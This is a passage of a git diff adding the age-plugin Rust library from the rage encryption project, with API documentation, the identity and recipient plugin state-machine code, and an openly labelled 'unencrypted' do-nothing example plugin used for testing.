support +"alternatives", which plugin binaries should leverage if they provide support for a +common recipient or identity type. + +Note that the identity specified by a user doesn't need to point to a specific +decryption key, or indeed contain any key material at all. It only needs to contain +sufficient information for the plugin to locate the necessary key material. + +### Standard age keys + +A plugin MAY support decrypting files encrypted to native age recipients, by including +support for the `x25519` recipient stanza. Such plugins will pick their own name, and +users will use identity files containing identities that specify that plugin name. + +## Example plugin binary + +The following example uses `clap` to parse CLI arguments, but any argument parsing +logic will work as long as it can detect the `--age-plugin=STATE_MACHINE` flag. + +```rust +use age_core::format::{FileKey, Stanza}; +use age_plugin::{ + identity::{self, IdentityPluginV1}, + print_new_identity, + recipient::{self, RecipientPluginV1}, + Callbacks, run_state_machine, +}; +use clap::Parser; + +use std::collections::HashMap; +use std::io; + +struct RecipientPlugin; + +impl RecipientPluginV1 for RecipientPlugin { + fn add_recipient( + &mut self, + index: usize, + plugin_name: &str, + bytes: &[u8], + ) -> Result<(), recipient::Error> { + todo!() + } + + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + bytes: &[u8] + ) -> Result<(), recipient::Error> { + todo!() + } + + fn wrap_file_keys( + &mut self, + file_keys: Vec, + mut callbacks: impl Callbacks, + ) -> io::Result>, Vec>> { + todo!() + } +} + +struct IdentityPlugin; + +impl IdentityPluginV1 for IdentityPlugin { + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + bytes: &[u8] + ) -> Result<(), identity::Error> { + todo!() + } + + fn unwrap_file_keys( + &mut self, + files: Vec>, + mut callbacks: impl Callbacks, + ) -> io::Result>>> { + todo!() + } +} + +#[derive(Debug, Parser)] +struct PluginOptions { + #[arg(help = "run the given age plugin state machine", long)] + age_plugin: Option, +} + +fn main() -> io::Result<()> { + let opts = PluginOptions::parse(); + + if let Some(state_machine) = opts.age_plugin { + // The plugin was started by an age client; run the state machine. + run_state_machine( + &state_machine, + Some(|| RecipientPlugin), + Some(|| IdentityPlugin), + )?; + return Ok(()); + } + + // Here you can assume the binary is being run directly by a user, + // and perform administrative tasks like generating keys. + + Ok(()) +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-plugin/README.tpl b/lib/rage/age-plugin/README.tpl new file mode 100644 index 0000000..41727f4 --- /dev/null +++ b/lib/rage/age-plugin/README.tpl @@ -0,0 +1,20 @@ +# age-plugin Rust library + +{{readme}} + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-plugin/examples/age-plugin-unencrypted.rs b/lib/rage/age-plugin/examples/age-plugin-unencrypted.rs new file mode 100644 index 0000000..f88018a --- /dev/null +++ b/lib/rage/age-plugin/examples/age-plugin-unencrypted.rs @@ -0,0 +1,219 @@ +use age_core::{ + format::{FileKey, Stanza}, + secrecy::ExposeSecret, +}; +use age_plugin::{ + identity::{self, IdentityPluginV1}, + print_new_identity, + recipient::{self, RecipientPluginV1}, + run_state_machine, Callbacks, PluginHandler, +}; +use clap::Parser; + +use std::collections::{HashMap, HashSet}; +use std::convert::Infallible; +use std::env; +use std::io; + +const PLUGIN_NAME: &str = "unencrypted"; +const RECIPIENT_TAG: &str = PLUGIN_NAME; + +fn explode(location: &str) { + if let Ok(s) = env::var("AGE_EXPLODES") { + if s == location { + panic!("Env variable AGE_EXPLODES={} is set. Boom! 💥", location); + } + } +} + +struct FullHandler; + +impl PluginHandler for FullHandler { + type RecipientV1 = RecipientPlugin; + type IdentityV1 = IdentityPlugin; + + fn recipient_v1(self) -> io::Result { + Ok(RecipientPlugin) + } + + fn identity_v1(self) -> io::Result { + Ok(IdentityPlugin) + } +} + +struct RecipientHandler; + +impl PluginHandler for RecipientHandler { + type RecipientV1 = RecipientPlugin; + type IdentityV1 = Infallible; + + fn recipient_v1(self) -> io::Result { + Ok(RecipientPlugin) + } +} + +struct IdentityHandler; + +impl PluginHandler for IdentityHandler { + type RecipientV1 = Infallible; + type IdentityV1 = IdentityPlugin; + + fn identity_v1(self) -> io::Result { + Ok(IdentityPlugin) + } +} + +struct RecipientPlugin; + +impl RecipientPluginV1 for RecipientPlugin { + fn add_recipient( + &mut self, + index: usize, + plugin_name: &str, + _bytes: &[u8], + ) -> Result<(), recipient::Error> { + eprintln!("age-plugin-unencrypted: RecipientPluginV1::add_recipient called"); + explode("recipient"); + if plugin_name == PLUGIN_NAME { + // A real plugin would store the recipient here. + Ok(()) + } else { + Err(recipient::Error::Recipient { + index, + message: "invalid recipient".to_owned(), + }) + } + } + + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + _bytes: &[u8], + ) -> Result<(), recipient::Error> { + eprintln!("age-plugin-unencrypted: RecipientPluginV1::add_identity called"); + explode("identity"); + if plugin_name == PLUGIN_NAME { + // A real plugin would store the identity. + Ok(()) + } else { + Err(recipient::Error::Identity { + index, + message: "invalid identity".to_owned(), + }) + } + } + + fn labels(&mut self) -> HashSet { + let mut labels = HashSet::new(); + if let Ok(s) = env::var("AGE_PLUGIN_LABELS") { + for label in s.split(',') { + labels.insert(label.into()); + } + } + labels + } + + fn wrap_file_keys( + &mut self, + file_keys: Vec, + mut callbacks: impl Callbacks, + ) -> io::Result>, Vec>> { + eprintln!("age-plugin-unencrypted: RecipientPluginV1::wrap_file_keys called"); + explode("wrap"); + // A real plugin would wrap the file key here. + let _ = callbacks + .message("This plugin doesn't have any recipient-specific logic. It's unencrypted!")?; + Ok(Ok(file_keys + .into_iter() + .map(|file_key| { + // TODO: This should return one stanza per recipient and identity. + vec![Stanza { + tag: RECIPIENT_TAG.to_owned(), + args: vec!["does".to_owned(), "nothing".to_owned()], + body: file_key.expose_secret().to_vec(), + }] + }) + .collect())) + } +} + +struct IdentityPlugin; + +impl IdentityPluginV1 for IdentityPlugin { + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + _bytes: &[u8], + ) -> Result<(), identity::Error> { + eprintln!("age-plugin-unencrypted: IdentityPluginV1::add_identity called"); + explode("identity"); + if plugin_name == PLUGIN_NAME { + // A real plugin would store the identity. + Ok(()) + } else { + Err(identity::Error::Identity { + index, + message: "invalid identity".to_owned(), + }) + } + } + + fn unwrap_file_keys( + &mut self, + files: Vec>, + mut callbacks: impl Callbacks, + ) -> io::Result>>> { + eprintln!("age-plugin-unencrypted: IdentityPluginV1::unwrap_file_keys called"); + explode("unwrap"); + let mut file_keys = HashMap::with_capacity(files.len()); + for (file_index, stanzas) in files.into_iter().enumerate() { + for stanza in stanzas { + if stanza.tag == RECIPIENT_TAG { + // A real plugin would attempt to unwrap the file key with the stored + // identities. + let _ = callbacks.message("This identity does nothing!")?; + file_keys.entry(file_index).or_insert_with(|| { + FileKey::try_init_with_mut(|file_key| { + if stanza.body.len() == file_key.len() { + file_key.copy_from_slice(&stanza.body); + Ok(()) + } else { + panic!("File key is wrong length") + } + }) + }); + break; + } + } + } + Ok(file_keys) + } +} + +#[derive(Debug, Parser)] +struct PluginOptions { + #[arg(help = "run the given age plugin state machine", long)] + age_plugin: Option, +} + +fn main() -> io::Result<()> { + let opts = PluginOptions::parse(); + + if let Some(state_machine) = opts.age_plugin { + if let Ok(s) = env::var("AGE_HALF_PLUGIN") { + match s.as_str() { + "recipient" => run_state_machine(&state_machine, RecipientHandler), + "identity" => run_state_machine(&state_machine, IdentityHandler), + _ => panic!("Env variable AGE_HALF_PLUGIN={s} has unknown value. Boom! 💥"), + } + } else { + run_state_machine(&state_machine, FullHandler) + } + } else { + // A real plugin would generate a new identity here. + print_new_identity(PLUGIN_NAME, &[], &[]); + Ok(()) + } +} diff --git a/lib/rage/age-plugin/src/identity.rs b/lib/rage/age-plugin/src/identity.rs new file mode 100644 index 0000000..7431014 --- /dev/null +++ b/lib/rage/age-plugin/src/identity.rs @@ -0,0 +1,370 @@ +//! Identity plugin helpers. + +use age_core::{ + format::{FileKey, Stanza}, + plugin::{self, BidirSend, Connection}, + secrecy::{ExposeSecret, SecretString}, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::FromBase32; + +use std::collections::HashMap; +use std::convert::Infallible; +use std::io; + +use crate::{Callbacks, PLUGIN_IDENTITY_PREFIX}; + +const ADD_IDENTITY: &str = "add-identity"; +const RECIPIENT_STANZA: &str = "recipient-stanza"; + +/// The interface that age implementations will use to interact with an age plugin. +/// +/// Implementations of this trait will be used within the [`identity-v1`] state machine. +/// +/// [`identity-v1`]: https://c2sp.org/age-plugin#unwrapping-with-identity-v1 +pub trait IdentityPluginV1 { + /// Stores an identity that the user would like to use for decrypting age files. + /// + /// `plugin_name` is the name of the binary that resolved to this plugin. + /// + /// Returns an error if the identity is unknown or invalid. + fn add_identity(&mut self, index: usize, plugin_name: &str, bytes: &[u8]) -> Result<(), Error>; + + /// Attempts to unwrap the file keys contained within the given age recipient stanzas, + /// using identities previously stored via [`add_identity`]. + /// + /// Returns a `HashMap` containing the unwrapping results for each file: + /// + /// - A list of errors, if any stanzas for a file cannot be unwrapped that detectably + /// should be unwrappable. + /// + /// - A [`FileKey`], if any stanza for a file can be successfully unwrapped. + /// + /// Note that if all known and valid stanzas for a given file cannot be unwrapped, and + /// none are expected to be unwrappable, that file has no entry in the `HashMap`. That + /// is, file keys that cannot be unwrapped are implicit. + /// + /// `callbacks` can be used to interact with the user, to have them take some physical + /// action or request a secret value. + /// + /// [`add_identity`]: IdentityPluginV1::add_identity + fn unwrap_file_keys( + &mut self, + files: Vec>, + callbacks: impl Callbacks, + ) -> io::Result>>>; +} + +impl IdentityPluginV1 for Infallible { + fn add_identity(&mut self, _: usize, _: &str, _: &[u8]) -> Result<(), Error> { + // This is never executed. + Ok(()) + } + + fn unwrap_file_keys( + &mut self, + _: Vec>, + _: impl Callbacks, + ) -> io::Result>>> { + // This is never executed. + Ok(HashMap::new()) + } +} + +/// The interface that age plugins can use to interact with an age implementation. +struct BidirCallbacks<'a, 'b, R: io::Read, W: io::Write>(&'b mut BidirSend<'a, R, W>); + +impl<'a, 'b, R: io::Read, W: io::Write> Callbacks for BidirCallbacks<'a, 'b, R, W> { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + fn message(&mut self, message: &str) -> plugin::Result<()> { + self.0 + .send("msg", &[], message.as_bytes()) + .map(|res| res.map(|_| ())) + } + + fn confirm( + &mut self, + message: &str, + yes_string: &str, + no_string: Option<&str>, + ) -> age_core::plugin::Result { + let metadata: Vec<_> = Some(yes_string) + .into_iter() + .chain(no_string) + .map(|s| BASE64_STANDARD_NO_PAD.encode(s)) + .collect(); + let metadata: Vec<_> = metadata.iter().map(|s| s.as_str()).collect(); + + self.0 + .send("confirm", &metadata, message.as_bytes()) + .and_then(|res| match res { + Ok(s) => match &s.args[..] { + [x] if x == "yes" => Ok(Ok(true)), + [x] if x == "no" => Ok(Ok(false)), + _ => Err(io::Error::new( + io::ErrorKind::InvalidData, + "Invalid response to confirm command", + )), + }, + Err(e) => Ok(Err(e)), + }) + } + + fn request_public(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-public", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| { + io::Error::new(io::ErrorKind::InvalidData, "response is not UTF-8") + }) + .map(Ok), + Err(e) => Ok(Err(e)), + }) + } + + /// Requests a secret value from the user, such as a passphrase. + /// + /// `message` will be displayed to the user, providing context for the request. + fn request_secret(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-secret", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "secret is not UTF-8")) + .map(|s| Ok(SecretString::from(s))), + Err(e) => Ok(Err(e)), + }) + } + + fn error(&mut self, error: Error) -> plugin::Result<()> { + error.send(self.0).map(|()| Ok(())) + } +} + +/// The kinds of errors that can occur within the identity plugin state machine. +pub enum Error { + /// An error caused by a specific identity. + Identity { + /// The index of the identity. + index: usize, + /// The error message. + message: String, + }, + /// A general error that occured inside the state machine. + Internal { + /// The error message. + message: String, + }, + /// An error caused by a specific stanza. + /// + /// Note that unknown stanzas MUST be ignored by plugins; this error is only for + /// stanzas that have a supported tag but are otherwise invalid (indicating an invalid + /// age file). + Stanza { + /// The index of the file containing the stanza. + file_index: usize, + /// The index of the stanza within the file. + stanza_index: usize, + /// The error message. + message: String, + }, +} + +impl Error { + fn kind(&self) -> &str { + match self { + Error::Identity { .. } => "identity", + Error::Internal { .. } => "internal", + Error::Stanza { .. } => "stanza", + } + } + + fn message(&self) -> &str { + match self { + Error::Identity { message, .. } => message, + Error::Internal { message } => message, + Error::Stanza { message, .. } => message, + } + } + + fn send(self, phase: &mut BidirSend) -> io::Result<()> { + let index = match self { + Error::Identity { index, .. } => Some((index.to_string(), None)), + Error::Internal { .. } => None, + Error::Stanza { + file_index, + stanza_index, + .. + } => Some((file_index.to_string(), Some(stanza_index.to_string()))), + }; + + let metadata = match &index { + Some((file_index, Some(stanza_index))) => vec![self.kind(), file_index, stanza_index], + Some((index, None)) => vec![self.kind(), index], + None => vec![self.kind()], + }; + + phase + .send("error", &metadata, self.message().as_bytes())? + .unwrap(); + + Ok(()) + } +} + +/// Runs the identity plugin v1 protocol. +pub(crate) fn run_v1(mut plugin: P) -> io::Result<()> { + let mut conn = Connection::accept(); + + // Phase 1: receive identities and stanzas + let (identities, recipient_stanzas) = { + let (identities, stanzas, _, _) = conn.unidir_receive( + (ADD_IDENTITY, |s| match (&s.args[..], &s.body[..]) { + ([identity], []) => Ok(identity.clone()), + _ => Err(Error::Internal { + message: format!( + "{} command must have exactly one metadata argument and no data", + ADD_IDENTITY + ), + }), + }), + (RECIPIENT_STANZA, |mut s| { + if s.args.len() >= 2 { + let file_index = s.args.remove(0); + s.tag = s.args.remove(0); + file_index + .parse::() + .map(|i| (i, s)) + .map_err(|_| Error::Internal { + message: format!( + "first metadata argument to {} must be an integer", + RECIPIENT_STANZA + ), + }) + } else { + Err(Error::Internal { + message: format!( + "{} command must have at least two metadata arguments", + RECIPIENT_STANZA + ), + }) + } + }), + (None, |_| Ok(())), + (None, |_| Ok(())), + )?; + + // Now that we have the full list of identities, parse them as Bech32 and add them + // to the plugin. + let identities = identities.and_then(|items| { + let errors: Vec<_> = items + .into_iter() + .enumerate() + .map(|(index, item)| { + bech32::decode(&item) + .ok() + .and_then(|(hrp, data, variant)| { + if hrp.starts_with(PLUGIN_IDENTITY_PREFIX) + && hrp.ends_with('-') + && variant == bech32::Variant::Bech32 + { + Vec::from_base32(&data).ok().map(|data| (hrp, data)) + } else { + None + } + }) + .ok_or_else(|| Error::Identity { + index, + message: "Invalid identity encoding".to_owned(), + }) + .and_then(|(hrp, bytes)| { + plugin.add_identity( + index, + &hrp[PLUGIN_IDENTITY_PREFIX.len()..hrp.len() - 1], + &bytes, + ) + }) + }) + .filter_map(|res| res.err()) + .collect(); + + if errors.is_empty() { + Ok(()) + } else { + Err(errors) + } + }); + + let stanzas = stanzas.and_then(|recipient_stanzas| { + let mut stanzas: Vec> = Vec::new(); + let mut errors: Vec = vec![]; + for (file_index, stanza) in recipient_stanzas { + if let Some(file) = stanzas.get_mut(file_index) { + file.push(stanza); + } else if stanzas.len() == file_index { + stanzas.push(vec![stanza]); + } else { + errors.push(Error::Internal { + message: format!( + "{} file indices are not ordered and monotonically increasing", + RECIPIENT_STANZA + ), + }); + } + } + if errors.is_empty() { + Ok(stanzas) + } else { + Err(errors) + } + }); + + (identities, stanzas) + }; + + // Phase 2: interactively unwrap + conn.bidir_send(|mut phase| { + let stanzas = match (identities, recipient_stanzas) { + (Ok(()), Ok(stanzas)) => stanzas, + (Err(errors1), Err(errors2)) => { + for error in errors1.into_iter().chain(errors2.into_iter()) { + error.send(&mut phase)?; + } + return Ok(()); + } + (Err(errors), _) | (_, Err(errors)) => { + for error in errors { + error.send(&mut phase)?; + } + return Ok(()); + } + }; + + let unwrapped = plugin.unwrap_file_keys(stanzas, BidirCallbacks(&mut phase))?; + + for (file_index, file_key) in unwrapped { + match file_key { + Ok(file_key) => { + phase + .send( + "file-key", + &[&format!("{}", file_index)], + file_key.expose_secret(), + )? + .unwrap(); + } + Err(errors) => { + for error in errors { + error.send(&mut phase)?; + } + } + } + } + + Ok(()) + }) +} diff --git a/lib/rage/age-plugin/src/lib.rs b/lib/rage/age-plugin/src/lib.rs new file mode 100644 index 0000000..93b8c61 --- /dev/null +++ b/lib/rage/age-plugin/src/lib.rs @@ -0,0 +1,346 @@ +//! This crate provides an API for building age plugins. +//! +//! # Introduction +//! +//! The [age file encryption format] follows the "one well-oiled joint" design philosophy. +//! The mechanism for extensibility (within a particular format version) is the recipient +//! stanzas within the age header: file keys can be wrapped in any number of ways, and age +//! clients are required to ignore stanzas that they do not understand. +//! +//! The core APIs that exercise this mechanism are: +//! - A recipient that wraps a file key and returns a stanza. +//! - An identity that unwraps a stanza and returns a file key. +//! +//! The age plugin system provides a mechanism for exposing these core APIs across process +//! boundaries. It has two main components: +//! +//! - A map from recipients and identities to plugin binaries. +//! - State machines for wrapping and unwrapping file keys. +//! +//! With this composable design, you can implement a recipient or identity that you might +//! use directly with the [`age`] library crate, and also deploy it as a plugin binary for +//! use with clients like [`rage`]. +//! +//! [age file encryption format]: https://age-encryption.org/v1 +//! [`age`]: https://crates.io/crates/age +//! [`rage`]: https://crates.io/crates/rage +//! +//! # Mapping recipients and identities to plugin binaries +//! +//! age plugins are identified by an arbitrary case-insensitive string `NAME`. This string +//! is used in three places: +//! +//! - Plugin-compatible recipients are encoded using Bech32 with the HRP `age1name` +//! (lowercase). +//! - Plugin-compatible identities are encoded using Bech32 with the HRP +//! `AGE-PLUGIN-NAME-` (uppercase). +//! - Plugin binaries (to be started by age clients) are named `age-plugin-name`. +//! +//! Users interact with age clients by providing either recipients for file encryption, or +//! identities for file decryption. When a plugin recipient or identity is provided, the +//! age client searches the `PATH` for a binary with the corresponding plugin name. +//! +//! Recipient stanza types are not required to be correlated to specific plugin names. +//! When decrypting, age clients will pass all recipient stanzas to every connected +//! plugin. Plugins MUST ignore stanzas that they do not know about. +//! +//! A plugin binary may handle multiple recipient or identity types by being present in +//! the `PATH` under multiple names. This can be implemented with symlinks or aliases to +//! the canonical binary. +//! +//! Multiple plugin binaries can support the same recipient and identity types; the first +//! binary found in the `PATH` will be used by age clients. Some Unix OSs support +//! "alternatives", which plugin binaries should leverage if they provide support for a +//! common recipient or identity type. +//! +//! Note that the identity specified by a user doesn't need to point to a specific +//! decryption key, or indeed contain any key material at all. It only needs to contain +//! sufficient information for the plugin to locate the necessary key material. +//! +//! ## Standard age keys +//! +//! A plugin MAY support decrypting files encrypted to native age recipients, by including +//! support for the `x25519` recipient stanza. Such plugins will pick their own name, and +//! users will use identity files containing identities that specify that plugin name. +//! +//! # Example plugin binary +//! +//! The following example uses `clap` to parse CLI arguments, but any argument parsing +//! logic will work as long as it can detect the `--age-plugin=STATE_MACHINE` flag. +//! +//! ``` +//! use age_core::format::{FileKey, Stanza}; +//! use age_plugin::{ +//! identity::{self, IdentityPluginV1}, +//! print_new_identity, +//! recipient::{self, RecipientPluginV1}, +//! Callbacks, PluginHandler, run_state_machine, +//! }; +//! use clap::Parser; +//! +//! use std::collections::{HashMap, HashSet}; +//! use std::io; +//! +//! struct Handler; +//! +//! impl PluginHandler for Handler { +//! type RecipientV1 = RecipientPlugin; +//! type IdentityV1 = IdentityPlugin; +//! +//! fn recipient_v1(self) -> io::Result { +//! Ok(RecipientPlugin) +//! } +//! +//! fn identity_v1(self) -> io::Result { +//! Ok(IdentityPlugin) +//! } +//! } +//! +//! struct RecipientPlugin; +//! +//! impl RecipientPluginV1 for RecipientPlugin { +//! fn add_recipient( +//! &mut self, +//! index: usize, +//! plugin_name: &str, +//! bytes: &[u8], +//! ) -> Result<(), recipient::Error> { +//! todo!() +//! } +//! +//! fn add_identity( +//! &mut self, +//! index: usize, +//! plugin_name: &str, +//! bytes: &[u8] +//! ) -> Result<(), recipient::Error> { +//! todo!() +//! } +//! +//! fn labels(&mut self) -> HashSet { +//! todo!() +//! } +//! +//! fn wrap_file_keys( +//! &mut self, +//! file_keys: Vec, +//! mut callbacks: impl Callbacks, +//! ) -> io::Result>, Vec>> { +//! todo!() +//! } +//! } +//! +//! struct IdentityPlugin; +//! +//! impl IdentityPluginV1 for IdentityPlugin { +//! fn add_identity( +//! &mut self, +//! index: usize, +//! plugin_name: &str, +//! bytes: &[u8] +//! ) -> Result<(), identity::Error> { +//! todo!() +//! } +//! +//! fn unwrap_file_keys( +//! &mut self, +//! files: Vec>, +//! mut callbacks: impl Callbacks, +//! ) -> io::Result>>> { +//! todo!() +//! } +//! } +//! +//! #[derive(Debug, Parser)] +//! struct PluginOptions { +//! #[arg(help = "run the given age plugin state machine", long)] +//! age_plugin: Option, +//! } +//! +//! fn main() -> io::Result<()> { +//! let opts = PluginOptions::parse(); +//! +//! if let Some(state_machine) = opts.age_plugin { +//! // The plugin was started by an age client; run the state machine. +//! run_state_machine(&state_machine, Handler)?; +//! return Ok(()); +//! } +//! +//! // Here you can assume the binary is being run directly by a user, +//! // and perform administrative tasks like generating keys. +//! +//! Ok(()) +//! } +//! ``` + +#![forbid(unsafe_code)] +// Catch documentation errors caused by code changes. +#![deny(rustdoc::broken_intra_doc_links)] +#![deny(missing_docs)] + +use age_core::secrecy::SecretString; +use bech32::Variant; +use std::io; + +pub mod identity; +pub mod recipient; + +// Plugin HRPs are age1[name] and AGE-PLUGIN-[NAME]- +const PLUGIN_RECIPIENT_PREFIX: &str = "age1"; +const PLUGIN_IDENTITY_PREFIX: &str = "age-plugin-"; + +/// Prints the newly-created identity and corresponding recipient to standard out. +/// +/// A "created" time is included in the output, set to the current local time. +pub fn print_new_identity(plugin_name: &str, identity: &[u8], recipient: &[u8]) { + use bech32::ToBase32; + + println!( + "# created: {}", + chrono::Local::now().to_rfc3339_opts(chrono::SecondsFormat::Secs, true) + ); + println!( + "# recipient: {}", + bech32::encode( + &format!("{}{}", PLUGIN_RECIPIENT_PREFIX, plugin_name), + recipient.to_base32(), + Variant::Bech32 + ) + .expect("HRP is valid") + ); + println!( + "{}", + bech32::encode( + &format!("{}{}-", PLUGIN_IDENTITY_PREFIX, plugin_name), + identity.to_base32(), + Variant::Bech32, + ) + .expect("HRP is valid") + .to_uppercase() + ); +} + +/// Runs the plugin state machine defined by `state_machine`. +/// +/// This should be triggered if the `--age-plugin=state_machine` flag is provided as an +/// argument when starting the plugin. +pub fn run_state_machine(state_machine: &str, handler: impl PluginHandler) -> io::Result<()> { + use age_core::plugin::{IDENTITY_V1, RECIPIENT_V1}; + + match state_machine { + RECIPIENT_V1 => recipient::run_v1(handler.recipient_v1()?), + IDENTITY_V1 => identity::run_v1(handler.identity_v1()?), + _ => Err(io::Error::new( + io::ErrorKind::InvalidInput, + "unknown plugin state machine", + )), + } +} + +/// The interfaces that age implementations will use to interact with an age plugin. +/// +/// This trait exists to encapsulate the set of arguments to [`run_state_machine`] that +/// different plugins may want to provide. +/// +/// # How to implement this trait +/// +/// ## Full plugins +/// +/// - Set all associated types to your plugin's implementations. +/// - Override all default methods of the trait. +/// +/// ## Recipient-only plugins +/// +/// - Set [`PluginHandler::RecipientV1`] to your plugin's implementation. +/// - Override [`PluginHandler::recipient_v1`] to return an instance of your type. +/// - Set [`PluginHandler::IdentityV1`] to [`std::convert::Infallible`]. +/// - Don't override [`PluginHandler::identity_v1`]. +/// +/// ## Identity-only plugins +/// +/// - Set [`PluginHandler::RecipientV1`] to [`std::convert::Infallible`]. +/// - Don't override [`PluginHandler::recipient_v1`]. +/// - Set [`PluginHandler::IdentityV1`] to your plugin's implementation. +/// - Override [`PluginHandler::identity_v1`] to return an instance of your type. +pub trait PluginHandler: Sized { + /// The plugin's [`recipient-v1`] implementation. + /// + /// [`recipient-v1`]: https://c2sp.org/age-plugin#wrapping-with-recipient-v1 + type RecipientV1: recipient::RecipientPluginV1; + + /// The plugin's [`identity-v1`] implementation. + /// + /// [`identity-v1`]: https://c2sp.org/age-plugin#unwrapping-with-identity-v1 + type IdentityV1: identity::IdentityPluginV1; + + /// Returns an instance of the plugin's [`recipient-v1`] implementation. + /// + /// [`recipient-v1`]: https://c2sp.org/age-plugin#wrapping-with-recipient-v1 + fn recipient_v1(self) -> io::Result { + Err(io::Error::new( + io::ErrorKind::InvalidInput, + "plugin doesn't support recipient-v1 state machine", + )) + } + + /// Returns an instance of the plugin's [`identity-v1`] implementation. + /// + /// [`identity-v1`]: https://c2sp.org/age-plugin#unwrapping-with-identity-v1 + fn identity_v1(self) -> io::Result { + Err(io::Error::new( + io::ErrorKind::InvalidInput, + "plugin doesn't support identity-v1 state machine", + )) + } +} + +/// The interface that age plugins can use to interact with an age implementation. +pub trait Callbacks { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + fn message(&mut self, message: &str) -> age_core::plugin::Result<()>; + + /// Requests that the user provides confirmation for some action. + /// + /// This can be used to, for example, request that a hardware key the plugin wants to + /// try either be plugged in, or skipped. + /// + /// - `message` is the request or call-to-action to be displayed to the user. + /// - `yes_string` and (optionally) `no_string` will be displayed on buttons or next + /// to selection options in the user's UI. + /// + /// Returns: + /// - `Ok(true)` if the user selected the option marked with `yes_string`. + /// - `Ok(false)` if the user selected the option marked with `no_string` (or the + /// default negative confirmation label). + /// - `Err(Error::Fail)` if the confirmation request could not be given to the user + /// (for example, if there is no UI for displaying messages). + /// - `Err(Error::Unsupported)` if the user's client does not support this callback. + fn confirm( + &mut self, + message: &str, + yes_string: &str, + no_string: Option<&str>, + ) -> age_core::plugin::Result; + + /// Requests a non-secret value from the user. + /// + /// `message` will be displayed to the user, providing context for the request. + /// + /// To request secrets, use [`Callbacks::request_secret`]. + fn request_public(&mut self, message: &str) -> age_core::plugin::Result; + + /// Requests a secret value from the user, such as a passphrase. + /// + /// `message` will be displayed to the user, providing context for the request. + fn request_secret(&mut self, message: &str) -> age_core::plugin::Result; + + /// Sends an error. + /// + /// Note: This API may be removed in a subsequent API refactor, after we've figured + /// out how errors should be handled overall, and how to distinguish between hard and + /// soft errors. + fn error(&mut self, error: E) -> age_core::plugin::Result<()>; +} diff --git a/lib/rage/age-plugin/src/recipient.rs b/lib/rage/age-plugin/src/recipient.rs new file mode 100644 index 0000000..0370c2d --- /dev/null +++ b/lib/rage/age-plugin/src/recipient.rs @@ -0,0 +1,471 @@ +//! Recipient plugin helpers. + +use age_core::{ + format::{is_arbitrary_string, FileKey, Stanza}, + plugin::{self, BidirSend, Connection}, + secrecy::SecretString, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::FromBase32; + +use std::collections::HashSet; +use std::convert::Infallible; +use std::io; + +use crate::{Callbacks, PLUGIN_IDENTITY_PREFIX, PLUGIN_RECIPIENT_PREFIX}; + +const ADD_RECIPIENT: &str = "add-recipient"; +const ADD_IDENTITY: &str = "add-identity"; +const WRAP_FILE_KEY: &str = "wrap-file-key"; +const EXTENSION_LABELS: &str = "extension-labels"; +const RECIPIENT_STANZA: &str = "recipient-stanza"; +const LABELS: &str = "labels"; + +/// The interface that age implementations will use to interact with an age plugin. +/// +/// Implementations of this trait will be used within the [`recipient-v1`] state machine. +/// +/// The trait methods are always called in this order: +/// - [`Self::add_recipient`] / [`Self::add_identity`] (in any order, including +/// potentially interleaved). +/// - [`Self::labels`] (once all recipients and identities have been added). +/// - [`Self::wrap_file_keys`] +/// +/// [`recipient-v1`]: https://c2sp.org/age-plugin#wrapping-with-recipient-v1 +pub trait RecipientPluginV1 { + /// Stores a recipient that the user would like to encrypt age files to. + /// + /// `plugin_name` is the name of the binary that resolved to this plugin. + /// + /// Returns an error if the recipient is unknown or invalid. + fn add_recipient(&mut self, index: usize, plugin_name: &str, bytes: &[u8]) + -> Result<(), Error>; + + /// Stores an identity that the user would like to encrypt age files to. + /// + /// `plugin_name` is the name of the binary that resolved to this plugin. + /// + /// Returns an error if the identity is unknown or invalid. + fn add_identity(&mut self, index: usize, plugin_name: &str, bytes: &[u8]) -> Result<(), Error>; + + /// Returns labels that constrain how the stanzas produced by [`Self::wrap_file_keys`] + /// may be combined with those from other recipients. + /// + /// Encryption will succeed only if every recipient returns the same set of labels. + /// Subsets or partial overlapping sets are not allowed; all sets must be identical. + /// Labels are compared exactly, and are case-sensitive. + /// + /// Label sets can be used to ensure a recipient is only encrypted to alongside other + /// recipients with equivalent properties, or to ensure a recipient is always used + /// alone. A recipient with no particular properties to enforce should return an empty + /// label set. + /// + /// Labels can have any value that is a valid arbitrary string (`1*VCHAR` in ABNF), + /// but usually take one of several forms: + /// - *Common public label* - used by multiple recipients to permit their stanzas to + /// be used only together. Examples include: + /// - `postquantum` - indicates that the recipient stanzas being generated are + /// postquantum-secure, and that they can only be combined with other stanzas + /// that are also postquantum-secure. + /// - *Common private label* - used by recipients created by the same private entity + /// to permit their recipient stanzas to be used only together. For example, + /// private recipients used in a corporate environment could all send the same + /// private label in order to prevent compliant age clients from simultaneously + /// wrapping file keys with other 